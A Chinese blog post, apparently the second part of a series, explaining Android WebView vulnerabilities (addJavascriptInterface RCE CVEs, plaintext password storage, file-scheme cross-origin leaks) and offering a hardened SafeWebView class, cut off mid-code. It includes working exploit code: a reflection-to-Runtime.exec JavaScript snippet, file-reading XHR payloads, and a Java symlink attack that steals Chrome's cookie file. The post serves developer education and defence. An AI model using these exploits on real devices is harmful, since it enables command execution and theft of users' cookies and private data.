android WebView详解,常见漏洞详解和安全源码(下)

版权声明:转载请标明出处http://blog.csdn.net/self_study,对技术感兴趣的同鞋加群544645972一起交流 https://blog.csdn.net/zhao_zepeng/article/details/55046348

  上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑。
  上篇:android WebView详解,常见漏洞详解和安全源码(上)
  转载请注明出处:http://blog.csdn.net/self_study/article/details/55046348
  对技术感兴趣的同鞋加群 544645972 一起交流。

WebView 常见漏洞

  WebView 的漏洞也是不少,列举一些常见的漏洞,实时更新,如果有其他的常见漏洞,知会一下我~~

WebView 任意代码执行漏洞

  已知的 WebView 任意代码执行漏洞有 4 个,较早被公布是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口会引起远程代码执行漏洞。接着是 CVE-2013-4710,针对某些特定机型会存在 addJavascriptInterface API 引起的远程代码执行漏洞。之后是 CVE-2014-1939 爆出 WebView 中内置导出的 “searchBoxJavaBridge_” Java Object 可能被利用,实现远程任意代码。再后来是 CVE-2014-7224,类似于 CVE-2014-1939 ,WebView 内置导出 “accessibility” 和 “accessibilityTraversal” 两个 Java Object 接口,可被利用实现远程任意代码执行。
  一般情况下,WebView 使用 Javascript 脚本的代码如下所示:

WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”);
mWebView.loadUrl(url);

CVE-2012-6636CVE-2013-4710

  Android 系统为了方便 APP 中 Java 代码和网页中的 Javascript 脚本交互,在 WebView 控件中实现了 addJavascriptInterface 接口,如上面的代码所示,我们来看一下这个方法的官方描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, 
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version 
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
 The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called 
 only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection 
 to access an injected object's public fields. Use of this method in a WebView containing untrusted 
 content could allow an attacker to manipulate the host application in unintended ways, executing Java 
 code with the permissions of the host application. Use extreme care when using this method in a WebView 
 which could contain untrusted content.
  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore 
    required to maintain thread safety.The Java object's fields are not accessible.
  • For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are 
    enumerable from JavaScript.
      可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用这个方法是不安全的,网页中的JS脚本可以利用接口 “testjs” 调用 App 中的 Java 代码,而 Java 对象继承关系会导致很多 Public 的函数及 getClass 函数都可以在JS中被访问,结合 Java 的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行,首先第一步 WebView 添加 Javascript 对象,并且添加一些权限,比如想要获取 SD 卡上面的信息就需要 `android.permission.WRITE_EXTERNAL_STORAGE` ;第二步 JS 中可以遍历 window 对象,找到存在 getClass 方法的对象,再通过反射的机制,得到 Runtime 对象,然后就可以调用静态方法来执行一些命令,比如访问文件的命令;第三步就是从执行命令后返回的输入流中得到字符串,比如执行完访问文件的命令之后,就可以得到文件名的信息了,有很严重暴露隐私的危险,核心 JS 代码:
    function execute(cmdArgs)  
    {  
        for (var obj in window) {  
            if ("getClass" in window[obj]) {  
                alert(obj);  
                return  window[obj].getClass().forName("java.lang.Runtime")  
                     .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
            }  
        }  
    }   

    所以当一些 APP 通过扫描二维码打开一个外部网页的时候,就可以执行这段 js 代码,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中浏览器 APP 成为重灾区,但截至目前仍有很多 APP 中依然存在此漏洞,与以往不同的只是攻击入口发生了一定的变化。另外一些小厂商的 APP 开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用 addJavascriptInterface 接口,明目张胆踩雷。
      出于安全考虑,Google 在 API17 版本中就规定能够被调用的函数必须以 @JavascriptInterface 进行注解,理论上如果 APP 依赖的 API 为 17(Android 4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17 依然受影响,所以危害性到目前为止依旧不小。关于所有 Android 机型的占比,可以看看 Google 的 Dashboards
    这里写图片描述

    截止 2017/1/9 日,可以看到 android5.0 之下的手机依旧不少,需要重视。
      漏洞的解决

      但是这个漏洞也是有解决方案的,上面的很多地方也都提到了这个漏洞,那么这个漏洞怎么去解决呢?这就需要用到 onJsPrompt 这个方法了,这里先给出解决这个漏洞的具体步骤,在下面的源码部分有修复这个漏洞的详细代码:

    • 继承 WebView ,重写 addJavascriptInterface 方法,然后在内部自己维护一个对象映射关系的 Map,当调用 addJavascriptInterface 方法,将需要添加的 JS 接口放入这个 Map 中;
    • 每次当 WebView 加载页面的时候加载一段本地的 JS 代码:

    javascript:(function JsAddJavascriptInterface_(){
        if(typeof(window.XXX_js_interface_name)!='undefined'){
                console.log('window.XXX_js_interface_name is exist!!');
            }else{
               window.XXX_js_interface_name={
                       XXX:function(arg0,arg1){
                         return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
                     },
                };
            }
        })()

    这段 JS 代码定义了注入的格式,其中的 XXX 为注入对象的方法名字,终端和 web 端只要按照定义的格式去互相调用即可,如果这个对象有多个方法,则会注册多个 window.XXX_js_interface_name 块;

  • 然后在 prompt 中返回我们约定的字符串,当然这个字符串也可以自己重新定义,它包含了特定的标识符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,参数,对象名等;
  • 当 JS 调用 XXX 方法的时候,就会调用到终端 Native 层的 OnJsPrompt 方法中,我们再解析出方法名,参数,对象名等,解析出来之后进行相应的处理,同时返回值也可以通过 prompt 返回回去;
  • window.XXX_js_interface_name 代表在 window 上声明了一个对象,声明的方式是:方法名:function(参数1,参数2)。
  • 还有一个问题是什么时候加载这段 JS 呢,在 WebView 正常加载 URL 的时候去加载它,但是会发现当 WebView 跳转到下一个页面时,之前加载的 JS 可能就已经无效了,需要再次加载,所以通常需要在一下几个方法中加载 JS,这几个方法分别是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。
      通过这几步,就可以简单的修复漏洞问题,但是还需要注意几个问题,需要过滤掉 Object 类的方法,由于通过反射的形式来得到指定对象的方法,所以基类的方法也可以得到,最顶层的基类就是 Object,为了不把 getClass 等方法注入到 JS 中,我们需要把 Object 的共有方法过滤掉,需要过滤的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,“toString”,“wait”,具体的代码实现可以看看下面的源码。

    CVE-2014-1939

      在 2014 年发现在 Android4.4 以下的系统中,webkit 中默认内置了 “searchBoxJavaBridge_”,代码位于 “java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁,所以就算没有通过 addJavascriptInterface 加入任何的对象,系统也会加入一个 searchBoxJavaBridge_ 对象,解决办法就是通过 removeJavascriptInterface 方法将对象删除。

    CVE-2014-7224

      在 2014 年,研究人员 Daoyuan Wu 和 Rocky Chang 发现,当系统辅助功能服务被开启时,在 Android4.4 以下的系统中,由系统提供的 WebView 组件都默认导出 ”accessibility” 和 ”accessibilityTraversal” 这两个接口,代码位于 “android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁,同样的需要通过 removeJavascriptInterface 方法将这两个对象删除。

    WebView 密码明文存储漏洞

      WebView 默认开启密码保存功能 mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险,所以需要通过 WebSettings.setSavePassword(false) 关闭密码保存提醒功能。

    WebView 域控制不严格漏洞

      要了解 WebView 中 file 协议的安全性,我们这里用一个简单的例子来演示一下,这个 APP 中有一个页面叫做 WebViewActivity :

    public class WebViewActivity extends Activity {
        private WebView webView;
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_webview);
            webView = (WebView) findViewById(R.id.webView);
            //webView.getSettings().setJavaScriptEnabled(true);                   (0)
            //webView.getSettings().setAllowFileAccess(false);                    (1)
            //webView.getSettings().setAllowFileAccessFromFileURLs(true);         (2)
            //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);    (3)
            Intent i = getIntent();
            String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
            webView.loadUrl(url);
        }
     }
    
    将该 WebViewActivity 设置为 exported=”true”,当其他应用启动此 Activity 时, intent 中的 data 直接被当作 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),通过其他 APP 使用显式 ComponentName 或者其他类似方式就可以很轻松的启动该 WebViewActivity ,我们知道因为 Android 中的 sandbox,Android 中的各应用是相互隔离的,在一般情况下 A 应用是不能访问 B 应用的文件的,但不正确的使用 WebView 可能会打破这种隔离,从而带来应用数据泄露的威胁,即 A 应用可以通过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而可以获取 B 应用的内部私有文件,下面我们着重分析这几个 API 对 WebView 安全性的影响。

    setAllowFileAccess

    Enables or disables file access within WebView. File access is enabled by default. Note that this 
    enables or disables file system access only. Assets and resources are still accessible using 
    file:///android_asset and file:///android_res.

      通过这个 API 可以设置是否允许 WebView 使用 File 协议,Android 中默认 setAllowFileAccess(true),所以默认值是允许,在 File 域下,能够执行任意的 JavaScript 代码, 同源策略跨域访问则能够对私有目录文件进行访问,APP 嵌入的 WebView 未对 file:/// 形式的 URL 做限制,所以使用 file 域加载的 js 能够使用同源策略跨域访问导致隐私信息泄露,针对 IM 类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是 cookie 信息泄露。如果不允许使用 file 协议,则不会存在下面将要讲到的各种跨源的安全威胁,但同时也限制了 WebView 的功能,使其不能加载本地的 html 文件。禁用 file 协议后,让 WebViewActivity 打开 attack.html 会得到如下图所示的输出,图中所示的文件是存在的,但 WebView 禁止加载此文件,移动版的 Chrome 默认禁止加载 file 协议的文件。
    这里写图片描述

    那么怎么解决呢,不要着急,继续往下看。

    setAllowFileAccessFromFileURLs

    Sets whether JavaScript running in the context of a file scheme URL should be allowed to access 
    content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, 
    this setting should be disabled. Note that the value of this setting is ignored if the value of 
    getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript 
    access to file scheme resources. Other access to such resources, for example, from image HTML 
    elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH 
    and earlier devices, you should explicitly set this value to false.
    The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level 
    JELLY_BEAN and above.
      通过此API可以设置是否允许通过 file url 加载的 Javascript 读取其他的本地文件,这个设置在 JELLY_BEAN(android 4.1) 以前的版本默认是允许,在 JELLY_BEAN 及以后的版本中默认是禁止的。当 AllowFileAccessFromFileURLs 设置为 true 时,对应上面的 attack.html 代码为:
    <script>
    function loadXMLDoc()
    {
        var arm = "file:///etc/hosts";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function()
        {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                  console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>
    ,此时通过这段代码就可以成功读取 /etc/hosts 的内容,最显著的例子就是 360 手机浏览器的早期 4.8 版本,由于未对 file 域做安全限制,恶意 APP 调用 360 浏览器加载本地的攻击页面(比如恶意 APP 释放到 sd 卡上的一个 html)后,就可以获取 360 手机浏览器下的所有私有数据,包括 webviewCookiesChromium.db 下的 Cookie 内容,但是如果设置为 false 时,上述脚本执行会导致如下错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件:
    I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin 
    requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html 

    setAllowUniversalAccessFromFileURLs

      通过此 API 可以设置是否允许通过 file url 加载的 Javascript 可以访问其他的源,包括其他的文件和 http,https 等其他的源。这个设置在 JELLY_BEAN 以前的版本默认是允许,在 JELLY_BEAN 及以后的版本中默认是禁止的。如果此设置是允许,则 setAllowFileAccessFromFileURLs 不起做用,此时修改 attack.html 的代码:

    <script>
    function loadXMLDoc()
    {
        var arm = "http://www.so.com";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function()
        {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                 console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>
    
    当 AllowFileAccessFromFileURLs 为 true 时,上述 javascript 可以成功读取 http://www.so.com 的内容,但设置为 false 时,上述脚本执行会导致如下错误,表示浏览器禁止从 file url 中的 javascript 访问其他源的资源:
    I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
    load http://www.so.com/. Origin null is not allowed by
    Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html

    以上漏洞的初步解决方案

      通过以上的介绍,初步的方案是使用下面的代码来杜绝:

    setAllowFileAccess(true);                               //设置为 false 将不能加载本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    这样就可以让 html 页面加载本地的 javascript,同时杜绝加载的 js 访问本地的文件或者读取其他的源,不是就 OK 了么,而且在 JELLY_BEAN(android 4.1) 版本以及之后不是都默认为 false 了么,其实不然,我们继续往下看其他漏洞。

    使用符号链接跨源

      为了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都应该设置为禁止,在 JELLY_BEAN(android 4.1) 及以后的版本中这两项设置默认也是禁止的,但是即使把这两项都设置为 false,通过 file URL 加载的 javascript 仍然有方法访问其他的本地文件,通过符号链接攻击可以达到这一目的,前提是允许 file URL 执行 javascript。这一攻击能奏效的原因是无论怎么限制 file 协议的同源检查,其 javascript 都应该能访问当前的文件,通过 javascript 的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件,具体攻击步骤见 Chromium bug 144866,下面也贴出了代码和详解。因为 Chrome 最新版本默认禁用 file 协议,所以这一漏洞在最新版的 Chrome 中并不存在,Google 也并没有修复它,但是大量使用 WebView 的应用和浏览器,都有可能受到此漏洞的影响,通过利用此漏洞,无特殊权限的恶意 APP 可以盗取浏览器的任意私有文件,包括但不限于 Cookie、保存的密码、收藏夹和历史记录,并可以将所盗取的文件上传到攻击者的服务器。下图为通过 file URL 读取某手机浏览器 Cookie 的截图:
    这里写图片描述
    截图将 Cookie alert 出来了,实际情况可以上传到服务器,攻击的详细代码如下所示:

    public class MainActivity extends AppCompatActivity {
        public final static String MY_PKG = "com.example.safewebview";
        public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
        public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
        public final static String TARGET_PKG = "com.android.chrome";
        public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
        public final static String HTML =
                "<body>" +
                        "<u>Wait a few seconds.</u>" +
                        "<script>" +
                        "var d = document;" +
                        "function doitjs() {" +
                        "  var xhr = new XMLHttpRequest;" +
                        "  xhr.onload = function() {" +
                        "    var txt = xhr.responseText;" +
                        "    d.body.appendChild(d.createTextNode(txt));" +
                        "    alert(txt);" +
                        "  };" +
                        "  xhr.open('GET', d.URL);" +
                        "  xhr.send(null);" +
                        "}" +
                        "setTimeout(doitjs, 8000);" +
                        "</script>" +
                        "</body>";
    
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            doit();
        }
    
        public void doit() {
            try {
                // Create a malicious HTML
                cmdexec("mkdir " + MY_TMP_DIR);
                cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
                cmdexec("chmod -R 777 " + MY_TMP_DIR);
    
                Thread.sleep(1000);
    
                // Force Chrome to load the malicious HTML
                invokeChrome("file://" + HTML_PATH);
    
                Thread.sleep(4000);
    
                // Replace the HTML with a symlink to Chrome's Cookie file
                cmdexec("rm " + HTML_PATH);
                cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
            } catch (Exception e) {
            }
        }
    
        public void invokeChrome(String url) {
            Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
            intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
            startActivity(intent);
        }
    
        public void cmdexec(String cmd) {
            try {
                String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
                Runtime.getRuntime().exec(tmp);
            } catch (Exception e) {
            }
        }
    }
    这就是使用符号链接跨源获取私有文件的代码,应该不难读懂,首先把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,并且修改该目录的权限,修改完成之后休眠 1s,让文件操作完成,完成之后通过系统的 Chrome 应用去打开这个 xx.html 文件,然后等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,并且使用 ln -s 命令为 Chrome 的 Cookie 文件创建软连接,注意,在这条命令执行之前 xx.html 是不存在的,执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上,于是就可以通过链接来访问 Chrome 的 Cookie 了。

    setJavaScriptEnabled

      通过此 API 可以设置是否允许 WebView 使用 JavaScript,默认是不允许,但很多应用,包括移动浏览器为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置允许 WebView 执行 JavaScript,而又不会对不同的协议区别对待,比较安全的实现是如果加载的 url 是 http 或 https 协议,则启用 JavaScript,如果是其它危险协议,比如是 file 协议,则禁用 JavaScript。如果是 file 协议,禁用 javascript 可以很大程度上减小跨源漏洞对 WebView 的威胁,但是此时禁用 JavaScript 的执行并不能完全杜绝跨源文件泄露。例如,有的应用实现了下载功能,对于加载不了的页面,会自动下载到 sd 卡中,由于 sd 卡中的文件所有应用都可以访问,于是可以通过构造一个 file URL 指向被攻击应用的私有文件,然后用此 URL 启动被攻击应用的 WebActivity,这样由于该 WebActivity 无法加载该文件,就会将该文件下载到 sd 卡下面,然后就可以从 sd 卡上读取这个文件了,当然这种应用比较少,这个也算是应用自身无意产生的一个漏洞吧。

    以上漏洞的解决方案

      针对 WebView 域控制不严格漏洞的安全建议如下:

    1. 对于不需要使用 file 协议的应用,禁用 file 协议;
    2. 对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript。
      所以两种解决办法,第一种类似 Chrome,直接禁止 file 协议:

    setAllowFileAccess(false);                              //设置为 false 将不能加载本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    第二种是根据不同情况不同处理(无法避免应用对于无法加载的页面下载到 sd 卡上这个漏洞):
    setAllowFileAccess(true);                             //设置为 false 将不能加载本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    if (url.startsWith("file://") {
        setJavaScriptEnabled(false);
    } else {
        setJavaScriptEnabled(true);
    }

    开发中遇见的坑

      这里记录一下开发中遇到的一些坑和解决办法:

    loadData() 方法

      我们可以通过使用 WebView.loadData(String data, String mimeType, String encoding) 方法来加载一整个 HTML 页面的一小段内容,第一个就是我们需要 WebView 展示的内容,第二个是我们告诉 WebView 我们展示内容的类型,一般,第三个是字节码,但是使用的时候,这里会有一些坑,我们来看一个简单的例子:

    String html = new String("<h3>我是loadData() 的标题</h3><p>&nbsp&nbsp我是他的内容</p>");
    webView.loadData(html, "text/html", "UTF-8");

    这里的逻辑很简单,加载一个简单的富文本标签,我们看看运行后的效果:
    这里写图片描述

    可以注意到这里显示成乱码了,可是明明已经指定了编码格式为 UTF-8 啊,可是这就是使用的坑,我们需要将代码进行修改:

    String html = new String("<h3>我是loadData() 的标题</h3><p>&nbsp&nbsp我是他的内容</p>");
    webView.loadData(html, "text/html;charset=UTF-8", "null");

    我们再来看看显示效果:
    这里写图片描述

    这样我们就可以看到正确的内容了,Google 还指出,在我们这种加载的方法下,我们的 Data 数据里不能出现 ’#’, ‘%’, ‘\’ , ‘?’ 这四个字符,如果出现了我们要用 %23, %25, %27, %3f 对应来替代,网上列举了未将特定字符转义过程中遇到的异常现象:

    A)   %  会报找不到页面错误,页面全是乱码。
    B)   #  会让你的 goBack 失效,但 canGoBAck 是可以使用的,于是就会产生返回按钮生效,但不能返回的情况。
    C)   \ 和 ?  在转换时,会报错,因为它会把 \ 当作转义符来使用,如果用两级转义,也不生效。
    我们在使用 loadData() 时,就意味着需要把所有的非法字符全部转换掉,这样就会给运行速度带来很大的影响,因为在使用时,很多情况下页面 stytle 中会使用很多 ‘%’ 号,页面的数据越多,运行的速度就会越慢。

    页面空白

      当 WebView 嵌套在 ScrollView 里面的时候,如果 WebView 先加载了一个高度很高的网页,然后加载了一个高度很低的网页,就会造成 WebView 的高度无法自适应,底部出现大量空白的情况出现,具体的可以看看我以前的博客:android ScollView 嵌套 WebView 底部空白,高度无法自适应解决

    内存泄漏

      WebView 的内存泄漏是一个比较大的问题,尤其是当加载的页面比较庞大的时候,解决方法网上也比较多,但是看情况大部分都不是能彻底根治的,这里说一下 QQ 和微信的做法,每当打开一个 WebView 界面的时候,会开启一个新进程,在页面退出之后通过 System.exit(0) 关闭这个进程,这样就不会存在内存泄漏的问题了,具体的做法可以查看这篇博客:Android WebView Memory Leak WebView内存泄漏,里面也提供了另外一种解决办法,感兴趣的可以去看一下。

    setBuiltInZoomControls 引起的 Crash

      当使用 mWebView.getSettings().setBuiltInZoomControls(true) 启用该设置后,用户一旦触摸屏幕,就会出现缩放控制图标。这个图标过上几秒会自动消失,但在 3.0 之上 4.4 系统之下很多手机会出现这种情况:如果图标自动消失前退出当前 Activity 的话,就会发生 ZoomButton 找不到依附的 Window 而造成程序崩溃,解决办法很简单就是在 Activity 的 onDestory 方法中调用 mWebView.setVisibility(View.GONE); 方法,手动将其隐藏,就不会崩溃了。

    后台无法释放 JS 导致耗电

      如果 WebView 加载的的 html 里有一些 JS 一直在执行比如动画之类的东西,如果此刻 WebView 挂在了后台,这些资源是不会被释放,用户也无法感知,导致一直占有 CPU 增加耗电量,如果遇到这种情况,在 onStop 和 onResume 里分别把 setJavaScriptEnabled() 给设置成 false 和 true 即可。

    4.4 版本之后 loadUrl 加载 js 传递 url 自动转义

      在开发中遇到过一个需求是在 WebView 中需要调用前端的 js 脚本处理一段 url,js 解析完这段 url 之后再把结果交由本地进行处理,但是遇到一个问题是,比如一个 url 为 “https://www.aaaa.com/bb?param1=3333%23444&param2=555%40666“,大家都知道 url 中如果存在类似“#@”这种特殊符号的时候就需要 encode 成 23% 和 40%,这样才是一个符合要求的 url,要不然 “https://www.aaaa.com/bb?param1=3333#444&param2=555@666”这个 url 是一个非法的 url,但是当时将这段合法的 url 通过 loadUrl(“javascript:xxxxx”) 的方式传递给 js 的相关函数进行处理,js 端获取到 url 被自动转义成了“https://www.aaaa.com/bb?param1=3333#444&param2=555@666“,去 google 了很久才发现这个问题原来是 android 自带的一个问题,见 issue:36995865,原来在 4.4 之前系统的 WebView 不会自动 decode,但是 4.4 和之后的系统上通过 loadUrl 传递的东西会自动将 %23 等 decode 成 #,这样就造成在 4.4 之后通过 loadUrl 加载一段 js,传递一段 url,如果 url 里面有 # @ 等非法字符的时候就会造成 js 端获取到的 url 非法,无法正常解析,解决办法就是在 4.4 版本之后使用 evaluateJavascript 这个函数,这个函数也正好是 4.4 版本引入的,使用 evaluateJavascript 这个函数传递 url,就不会自动 decode,js 函数获取到的 url 仍然是转义后的 %23 %40,这个问题虽然很少人遇到,但是遇到了就属于一个需要时间定位和处理的问题了。

    源码及解析

      来看看解决上述问题的 WebView 源码:

    public class SafeWebView extends WebView {
        private static final boolean DEBUG = true;
        private static final String VAR_ARG_PREFIX = "arg";
        private static final String MSG_PROMPT_HEADER = "MyApp:";
        /**
         * 对象名
         */
        private static final String KEY_INTERFACE_NAME = "obj";
        /**
         * 函数名
         */
        private static final String KEY_FUNCTION_NAME = "func";
        /**
         * 参数数组
         */
        private static final String KEY_ARG_ARRAY = "args";
        /**
         * 要过滤的方法数组
         */
        private static final String[] mFilterMethods = {
                "getClass",
                "hashCode",
                "notify",
                "notifyAll",
                "equals",
                "toString",
                "wait",
        };
    
        /**
         * 缓存addJavascriptInterface的注册对象
         */
        private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();
    
        /**
         * 缓存注入到JavaScript Context的js脚本
         */
        private String mJsStringCache = null;
    
        public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
            super(context, attrs, defStyle);
            init();
        }
    
        public SafeWebView(Context context, AttributeSet attrs) {
            super(context, attrs);
            init();
        }
    
        public SafeWebView(Context context) {
            super(context);
            init();
        }
    
        /**
         * WebView 初始化,设置监听,删除部分Android默认注册的JS接口
         */
        private void init() {
            setWebChromeClient(new WebChromeClientEx());
            setWebViewClient(new WebViewClientEx());
            safeSetting();
    
            removeUnSafeJavascriptImpl();
        }
    
        /**
         * 安全性设置
         */
        private void safeSetting() {
            getSettings().setSavePassword(false);
            getSettings().setAllowFileAccess(false);//设置为 false 将不能加载本地 html 文件
            if (Build.VERSION.SDK_INT >= 16) {
                getSettings().setAllowFileAccessFromFileURLs(false);
                getSettings().setAllowUniversalAccessFromFileURLs(false);
            }
        }
    
        /**
         * 检查SDK版本是否 >= 3.0 (API 11)
         */
        private boolean hasHoneycomb() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
        }
    
        /**
         * 检查SDK版本是否 >= 4.2 (API 17)
         */
        private boolean hasJellyBeanMR1() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
        }
    
        /**
         * 3.0 ~ 4.2 之间的版本需要移除 Google 注入的几个对象
         */
        @SuppressLint("NewApi")
        private boolean removeUnSafeJavascriptImpl() {
            if (hasHoneycomb() && !hasJellyBeanMR1()) {
                super.removeJavascriptInterface("searchBoxJavaBridge_");
                super.removeJavascriptInterface("accessibility");
                super.removeJavascriptInterface("accessibilityTraversal");
                return true;
            }
            return false;
        }
    
        @Override
        public void setWebViewClient(WebViewClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebViewClient(client);
            } else {
                if (client instanceof WebViewClientEx) {
                    super.setWebViewClient(client);
                } else if (client == null) {
                    super.setWebViewClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebViewClientEx\'");
                }
            }
        }
    
        @Override
        public void setWebChromeClient(WebChromeClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebChromeClient(client);
            } else {
                if (client instanceof WebChromeClientEx) {
                    super.setWebChromeClient(client);
                } else if (client == null) {
                    super.setWebChromeClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebChromeClientEx\'");
                }
            }
        }
    
        /**
         * 如果版本大于 4.2,漏洞已经被解决,直接调用基类的 addJavascriptInterface
         * 如果版本小于 4.2,则使用map缓存待注入对象
         */
        @SuppressLint("JavascriptInterface")
        @Override
        public void addJavascriptInterface(Object obj, String interfaceName) {
            if (TextUtils.isEmpty(interfaceName)) {
                return;
            }
    
            // 如果在4.2以上,直接调用基类的方法来注册
            if (hasJellyBeanMR1()) {
                super.addJavascriptInterface(obj, interfaceName);
            } else {
                mJsInterfaceMap.put(interfaceName, obj);
            }
        }
    
        /**
         * 删除待注入对象,
         * 如果版本为 4.2 以及 4.2 以上,则使用父类的removeJavascriptInterface。
         * 如果版本小于 4.2,则从缓存 map 中删除注入对象
         */
        @SuppressLint("NewApi")
        public void removeJavascriptInterface(String interfaceName) {
            if (hasJellyBeanMR1()) {
                super.removeJavascriptInterface(interfaceName);
            } else {
                mJsInterfaceMap.remove(interfaceName);
                //每次 remove 之后,都需要重新构造 JS 注入
                mJsStringCache = null;
                injectJavascriptInterfaces();
            }
        }
    
        /**
         * 如果 WebView 是 SafeWebView 类型,则向 JavaScript Context 注入对象,确保 WebView 是有安全机制的
         */
        private void injectJavascriptInterfaces(WebView webView) {
            if (webView instanceof SafeWebView) {
                injectJavascriptInterfaces();
            }
        }
    
        /**
         * 注入我们构造的 JS
         */
        private void injectJavascriptInterfaces() {
            if (!TextUtils.isEmpty(mJsStringCache)) {
                loadUrl(mJsStringCache);
                return;
            }
    
            mJsStringCache = genJavascriptInterfacesString();
            loadUrl(mJsStringCache);
        }
    
        /**
         * 根据缓存的待注入java对象,生成映射的JavaScript代码,也就是桥梁(SDK4.2之前通过反射生成)
         */
        private String genJavascriptInterfacesString() {
            if (mJsInterfaceMap.size() == 0) {
                return null;
            }
    
            /*
             * 要注入的JS的格式,其中XXX为注入的对象的方法名,例如注入的对象中有一个方法A,那么这个XXX就是A
             * 如果这个对象中有多个方法,则会注册多个window.XXX_js_interface_name块,我们是用反射的方法遍历
             * 注入对象中的带有@JavaScripterInterface标注的方法
             *
             * javascript:(function JsAddJavascriptInterface_(){
             *   if(typeof(window.XXX_js_interface_name)!='undefined'){
             *       console.log('window.XXX_js_interface_name is exist!!');
             *   }else{
             *       window.XXX_js_interface_name={
             *           XXX:function(arg0,arg1){
             *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
             *           },
             *       };
             *   }
             * })()
             */
    
            Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
            //HEAD
            StringBuilder script = new StringBuilder();
            script.append("javascript:(function JsAddJavascriptInterface_(){");
    
